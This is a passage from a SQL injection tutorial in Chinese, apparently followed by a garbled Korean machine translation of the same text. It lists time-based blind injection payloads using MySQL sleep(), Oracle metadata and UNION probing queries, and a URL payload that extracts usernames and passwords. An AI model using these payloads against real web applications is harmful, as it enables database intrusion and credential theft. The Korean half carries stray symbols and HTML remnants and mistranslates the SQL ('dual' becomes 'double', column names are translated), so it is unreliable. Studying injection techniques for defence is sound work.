如果出现 3 秒延时,就可以判断出 user 字符串长度,注入时通常会采用折半算法减少判断。
② 截取字符串第一个字符,并转换为 ASCII 码AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不断更换 ASCII 码直到出现延时 3 秒就可以猜测出第一个字符。
③ 递归截取字符串每一个字符,分别于 ASCII 码比较AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。
不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在类似功能的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。
Oracle
1. 获取元数据
Oracle 也支持查询元数据,下面是 Oracle 注入常用的元数据视图:
① user_tablespaces 视图,查看表空间SELECT tablespace_name FROM user_tablespaces
② user_tables 视图,查看当前用户的所有表SELECT table_name FROM user_tables WHERE rownum = 1
③ user_tab_columns 视图,查看当前用户的所有列,如查询 user 表的所有列:SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ all_users 视图,查看 ORacle 数据库的所有用户SELECT username FROM all_users
⑤ user_objects 视图,查看当前用户的所有对象 (表名称、约束、索引)SELECT object_name FROM user_objects
2. UNION 查询
Oracle 与 MySQL 一样不支持多语句执行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。
①获取列的总数
获取列总数方法与前面两种数据库类似,依然可以使用 ORDER BY 子句来完成。
另一种方法是利用 UNION 关键字来确定,但是 Oracle 规定,每次查询时后面必须跟表的名称,否则查询将不成立。
在 Oracle 中可以使用:UNION SELECT null, null, null …… FROM dual
这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。
然后获取非数字类型列,即可以显示出信息的列:UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
把每一位的 null
依次用单引号 ’ 引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。
② 获取敏感信息
常见的敏感信息如下:
SELECT * FROM session_roles
SELECT banner FROM sys.v_$version WHERE rownum = 1
utl_http.request
可以实现SELECT utl_inaddr.get_host_address FROM dual
SELECT member FROM v$logfile WHERE rownum = 1
SELECT instance_name FROM v$instance
SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ 获取数据库表及其内容
在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
그러면 sleep() 함수를 통해서도 데이터를 읽을 수 있지만 다른 함수의 협력이 필요합니다. 단계는 다음과 같습니다.
AND if(length (user()) = 0, sleep(3), 1)
🎜3초 지연이 있으면 삽입 중에 사용자 문자열의 길이가 결정될 수 있습니다. 반 알고리즘은 일반적으로 결정을 줄이기 위해 사용됩니다. 🎜🎜② 문자열의 첫 번째 문자를 가로채서 ASCII 코드로 변환합니다.🎜AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
🎜AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
🎜...🎜 지연이 발생할 때까지 ASCII 코드를 계속 변경합니다. 3초 동안 첫 번째 문자를 맞춰보세요. 🎜🎜3 문자열의 각 문자를 재귀적으로 가로채서 이를 각각 ASCII 코드와 비교합니다🎜AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1) code> 🎜참고: L 위치는 문자열의 문자를 나타내고 N 위치는 ASCII 코드를 나타냅니다. 🎜🎜MySQL에만 지연 기능이 존재하는 것이 아니라 SQL Server, Oracle 및 기타 데이터베이스에도 유사한 기능을 가진 기능이 있습니다(예: SQL Server의 waitfor 지연, Oracle의 DBMS_LOCK.SLEEP 및 기타 기능). 🎜🎜<span style="font-size: 16px;">🎜Oracle🎜</span>🎜🎜🎜1. 메타데이터 가져오기🎜🎜🎜Oracle은 또한 Oracle에서 삽입한 일반적으로 사용되는 메타데이터 뷰를 지원합니다. ① user_tablespaces 보기, 테이블 공간 보기 🎜<code>SELECT tablespace_name FROM user_tablespaces
🎜🎜② user_tables 보기, 현재 사용자의 모든 테이블 보기🎜SELECT table_name FROM user_tables WHERE rownum = 1
🎜🎜 ③ user_tab_columns 뷰, 현재 사용자의 모든 컬럼 보기, 사용자 테이블의 모든 컬럼 조회: 🎜SELECT 컬럼_name FROM user_tab_columns WHERE table_name = 'users'
🎜🎜 ④ all_users 뷰, 모든 사용자 보기 Oracle 데이터베이스🎜 SELECT username FROM all_users
🎜🎜⑤ user_objects 보기, 현재 사용자의 모든 개체(테이블 이름, 제약 조건, 인덱스) 보기🎜SELECT object_name FROM user_objects
🎜🎜 🎜2. UNION 쿼리 🎜🎜🎜Oracle은 MySQL과 마찬가지로 여러 SQL 문을 삽입하기 위해 세미콜론으로 구분할 수 있는 SQL Server와 달리 다중 문 실행을 지원하지 않습니다. 🎜🎜🎜①전체 열 수 가져오기🎜🎜전체 열 수를 가져오는 방법은 앞의 두 데이터베이스와 유사하며 여전히 ORDER BY 절을 사용하여 완료할 수 있습니다. 🎜🎜또 다른 방법은 UNION 키워드를 사용하여 결정하는 것이지만 🎜Oracle에서는 각 쿼리 뒤에 테이블 이름이 와야 한다고 규정하고 있습니다. 그렇지 않으면 쿼리가 성립되지 않습니다🎜. 🎜🎜Oracle에서 사용 가능: 🎜UNION SELECT null, null, null …… FROM double
🎜여기서 이중은 Oracle의 가상 테이블입니다. 데이터베이스에 어떤 테이블이 있는지 알 수 없습니다. , 이 테이블을 조회 테이블로 사용할 수 있습니다. 🎜🎜그런 다음 숫자가 아닌 유형의 열, 즉 🎜정보를 표시할 수 있는 열🎜을 가져옵니다. 🎜UNION SELECT 'null', null, null, …… FROM double
🎜UNION SELECT null, ' null', null, …… FROM double
🎜🎜null
의 각 자리를 작은따옴표'로 묶어야 합니다.', 🎜오류가 보고되면 문자열 형식 열이 아닙니다. 🎜; if 🎜정상적으로 반환된다면 문자열형 컬럼🎜이며, 해당 위치에 쿼리문을 삽입하여 정보를 얻을 수 있습니다. 🎜🎜🎜② 민감한 정보 얻기 🎜🎜일반적인 민감한 정보는 다음과 같습니다: 🎜SELECT * FROM session_roles
utl_http.request
를 사용하세요.SELECT utl_inaddr.get_host_address FROM double
SELECT member FROM v$logfile WHERE rownum = 1
SELECT instance_name FROM v$instance
SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM 듀얼
li >🎜🎜3 데이터베이스 테이블 및 해당 내용 가져오기🎜🎜테이블의 열 수를 알고 나면 테이블 이름, 열 이름을 쿼리한 다음 다음과 같은 메타데이터를 쿼리하여 데이터를 쿼리할 수 있습니다. 🎜http ://www.aaa.org/new.jsp?id=1 UNION SELECT 사용자 이름, 비밀번호, null FROM 사용자 --
🎜참고: 데이터를 쿼리할 때 다음 사항에도 주의해야 합니다. 그렇지 않으면 쿼리할 수 없으며 하나씩 테스트하고 매개변수의 쿼리 위치를 변경할 수만 있습니다. 🎜위 내용은 SQL 인젝션의 세 가지 방법은 무엇입니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!